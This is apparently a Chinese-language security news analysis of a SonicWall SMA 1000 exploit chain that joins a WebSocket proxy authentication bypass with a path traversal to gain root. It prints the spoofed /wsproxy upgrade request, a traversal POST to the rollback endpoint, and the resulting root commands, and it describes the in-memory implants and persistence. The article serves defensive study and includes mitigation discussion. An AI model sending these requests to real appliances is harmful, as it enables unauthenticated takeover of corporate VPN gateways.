1. 簡介

遠端存取 VPN 集中器(Concentrator)在企業網路中佔有結構性的特權位置：它們刻意暴露於公開網際網路，同時持有通往目錄服務(Directory service)、Session 存儲與管理子系統的信任路由(Trusted route)。這種雙重角色意味著設備邊界上的任何驗證或隔離失效，往往會直接擴散為整體網路淪陷，而非僅止於局部。近期 SonicWall Secure Mobile Access (SMA) 1000 系列的漏洞鏈即清楚說明了此類失效，它結合了未經驗證的 WebSocket 路由繞過與檔案系統 Path Traversal 漏洞，將單一精心建構的 HTTP Request 轉化為設備的 root 層級控制權 [1] 。

此報告專注於漏洞鏈的技術機制 — 有缺陷的信任模型、重建的弱點程式碼路徑，以及攻擊者用來從匿名連線逐步提升至 root 權限的請求順序 [1] 。獨立的通報亦佐證了 CVSS 嚴重性評級以及廠商確認的受影響元件 [2][3] 。

別再迷信 Localhost 等於安全！wsproxy 如何擊穿 SMA VPN 的邊界信任直達 Root！ | 資訊安全新聞

2. 設備架構與破壞的信任邊界

SMA 1000 平台並非單一的 monolithic Web 伺服器；它是一個多層級堆疊，其中 NGINX/NGINX Unit 前端負責終止公開的 HTTPS 與 WebSocket 連線，並預期為唯一可從網際網路存取的元件。其後方運行著數項服務 — CouchDB 實例、執行於 localhost:1050 的 Erlang 控制程序，以及執行於 localhost:8188 的特權管理 daemon ctrl-service — 所有服務皆僅綁定於 loopback 介面，並以此綁定（而非明確的驗證）作為主要存取控制機制 [1] 。這是常見但脆弱的設計模式：內部服務隱含地信任任何能連線到 localhost 的來源，假設只有前端（負責驗證）能夠建立此類連線。 弱點元件是暴露於 /wsproxy 的 WebSocket-to-TCP Proxy，其設計目的是讓合法的 SMA Connect 用戶端在驗證後可連線至特定後端服務。然而，該 handler 僅使用用戶端提供且可輕易偽造的 metadata 來進行存取控制 — 包括特定的 User-Agent 字串與 URI 參數前綴 — 而非經過驗證的 Session [1] 。由於 Proxy 本身會建立對外的 TCP 連線，任何成功的請求對後端服務而言都等同於從 loopback 介面發起，從而悄然擊潰整個使用 localhost 的隔離模型。

2.1 /wsproxy Handler 概念性重建 (CVE-2026-15409)

原始文章以下列方式重建了該弱點 handler 的邏輯，因為底層韌體為專屬軟體 [1] ： 

  2. // Conceptual reconstruction of the vulnerable /wsproxy handler
  3. @ServerEndpoint("/wsproxy")
  4. public class WsProxyServlet {
  5.     @OnOpen
  6.     public void onOpen(Session session) {
  7.         // host, port and serviceType are all read directly from the
  8.         // attacker-controlled WebSocket upgrade request parameters.
  9.         String host = session.getRequestParameterMap().get("host").get(0);
  10.         String port = session.getRequestParameterMap().get("port").get(0);
  11.         String serviceType = session.getRequestParameterMap().get("serviceType").get(0);
  12.  
  13.         // ROOT CAUSE: no session/authentication check, no Origin
  14.         // validation, and no allow-list restricting which backend
  15.         // hosts/ports may be targeted by the proxy.
  16.         Socket backend = new Socket(host, Integer.parseInt(port));
  17.  
  18.         // Once opened, traffic is relayed bidirectionally between the
  19.         // external WebSocket client and the internal TCP socket,
  20.         // effectively turning the appliance into an open relay into
  21.         // its own loopback interface.
  22.         relay(session, backend);
  23.     }
  24. }

周遭路由邏輯執行的唯一「檢查」僅有 User-Agent 字串與數值參數前綴，這兩者皆無法構成合法且已驗證用戶端的證明 [1] 。由於目標 host 與 port 完全由攻擊者控制，將其指向 127.0.0.1:1050 或 127.0.0.1:8188 等於提供攻擊者一條直通內部服務的通道，而這些服務從未設計為接收外部輸入。

3. 完整漏洞鏈

下圖摘要了原始分析中描述的八個階段，從初始未經驗證請求到 root 程式碼執行與重新開機 [1] 。

sequenceDiagram participant A as Attacker participant N as NGINX Front-End (/wsproxy) participant C as CouchDB (uid couchdb) participant Ctrl as ctrl-service (root-owned) A->>N: WebSocket upgrade to /wsproxy
UA: "SMA Connect Agent", bmID=-3389, host=127.0.0.1, port=1050 N->>N: Spoofable metadata accepted as proof of legitimate client (CVE-2026-15409) N->>C: Tunnel established to loopback CouchDB service C-->>A: File read/write primitives as user couchdb A->>C: Stage payload script in /tmp (owned by couchdb) A->>N: New /wsproxy tunnel to ctrl-service (port 8188) A->>Ctrl: POST /rollbackConfirm.action hotfix=../../../../../tmp/payload.sh Ctrl->>Ctrl: remove_hotfix() concatenates path without normalization (CVE-2026-15410) Ctrl->>Ctrl: chmod +x and execute staged script as root Ctrl-->>A: Root-level command execution achieved Ctrl->>Ctrl: shutdown -r now (reboot to load implants)

圖 1. 重建的端對端漏洞鏈，從偽造的 WebSocket 升級到 root 執行。

3.1 用於建立未驗證通道的 Request

漏洞鏈的第一階段是單一未經驗證的 HTTP Request，該 Request 升級為 WebSocket 連線，同時攜帶前端所接受的可偽造標記 [1] ： 

  1. GET /wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050 HTTP/1.1
  2. Host: <target appliance>
  3. User-Agent: SMA Connect Agent
  4. Upgrade: websocket
  5. Connection: Upgrade

將 host 設為 0.0.0.0 或 127.0.0.1 ，並將 port 設為 1050 或 8188 ，可分別選擇 Erlang/CouchDB 控制通道或 ctrl-service 作為通道目標；在此 Request 的任何階段均未提供 VPN Session、認證或 MFA Token [1] 。

4. 透過 Path Traversal 提升權限 (CVE-2026-15410)

一旦獲得通往 ctrl-service 的通道，即可利用第二個漏洞。 remove_hotfix 工作流程接受呼叫者提供的 hotfix 檔案名稱，並將其直接串接到固定的工作目錄後方，未經任何路徑正規化或 chroot 限制 [1] ： 

  1. # Conceptual reconstruction of the vulnerable remove_hotfix workflow
  2. def remove_hotfix(hotfix_path):
  3.     working_dir = "/var/lib/aventail/avp/rollback/"
  4.     # ROOT CAUSE: naive string concatenation permits ../ traversal
  5.     # sequences to escape the intended rollback directory entirely.
  6.     target = working_dir + hotfix_path
  7.     os.chmod(target, 0o755)
  8.     # ctrl-service itself runs as root, so whatever file "target"
  9.     # resolves to is executed with full root privileges.
  10.     subprocess.run(["/bin/bash", target, "--unattended"])

該 traversal payload 透過暴露的 rollback 端點傳送： 

  1. POST /rollbackConfirm.action HTTP/1.1
  2. Host: <target SMA appliance>
  3. Content-Type: application/x-www-form-urlencoded
  4.  
  5. csrfToken=<valid token>&command=rollback&rollbackUpgradeTime=&hotfix=../../../../../tmp/1234.sh&rollbackHotfixTime=

在內部，此 Request 求解析並執行如下，產生即時的 root shell，隨後強制重新開機以重新載入攻擊者的持久化機制 [1] ： 

  1. chmod +x /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh
  2. /bin/bash /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh --unattended
  3. shutdown -r now

從安全設計角度來看，此組合頗具啟發性：CVE-2026-15409 單獨僅能取得 couchdb 服務帳號的低權限據點，而 CVE-2026-15410 單獨則需要現有通往 ctrl-service 的連線，而該連線通常無法從 loopback 介面外部存取。這兩個漏洞個別來看都不具備獨立毀滅性；其嚴重性完全來自於破碎的網路信任邊界與 root 擁有之 daemon 所執行未經清理的檔案系統操作兩者之間的交互作用 [1] 。

5. 後滲透架構

在取得 root 控制權後，觀察到的工具組偏好採用記憶體內(In-memory)、程序注入式的植入程式(Process-injected implant)，而非存放在磁碟上的二進位檔案。Python Loader 會解碼內嵌的 Java archive，並使用 Java Attach API 將其附加至合法的 SMA Java 程序，從而將受信任的 servlet 轉變為隱蔽的 HTTP 通道及記憶體駐留 Web Shell；而另一個獨立的 setuid 二進位檔案則提供獨立的持久化本地權限提升後門，不受原始漏洞鏈影響 [1] 。持久化係透過修改服務的 init 腳本及前端的路由設定來達成，使重新感染在開機時自動發生，且植入端點以看似無害的 API Path 暴露出來 [1] 。此架構 — 採用程序注入加上設定層級的路由劫持，而非獨立放置的惡意軟體 — 顯著降低了磁碟上的數位鑑識足跡。

6. 討論

從防禦架構的角度來看，此漏洞鏈說明了一旦前端元件可被誘騙而代攻擊者扮演已驗證 Proxy 的角色，單純的 localhost 綁定便不足以作為隔離控制。有效的緩解措施要求內部服務獨立驗證 Proxy 連線，而非信任來源介面；同時，特權檔案系統操作（如 hotfix 移除）應在執行前對路徑進行正規化與驗證，且最好在受限制的根目錄內進行。這兩種弱點都是常見的反模式，其普遍性遠超出此特定產品線，值得在任何暴露 WebSocket 轉送或邊緣網路特權檔案管理工作流程的架構中加以檢視 [1] 。

7. 結論

此漏洞鏈展示了 WebSocket Proxy 中可偽造的 metadata 檢查與特權 rollback 常式中未經清理的 Path 兩者如何結合，如何結合成一個零前置條件、認證前即可通往 root 權限的攻擊途徑。其技術教訓超越特定設備：網路邊界信任（localhost 綁定）與輸入驗證信任（Path 處理）兩者都必須成立，因為任一單獨失效僅能部分利用，但其組合卻能徹底摧毀分段式多層設備的縱深防禦模型 [1] 。

參考文獻

  1. From WSProxy to Root: INC ransomware and SonicWall SMA Exploit Chain
  2. Rapid7 MDR Team Discovers New SonicWall SMA1000 Zero Days being Actively Exploited (CVE-2026-15409, CVE-2026-15410)
  3. Two SonicWall SMA 1000 Zero-Days Exploited, One Could Enable Admin Commands
  4. Product Notice: SMA 1000 Series affected by Multiple Vulnerabilities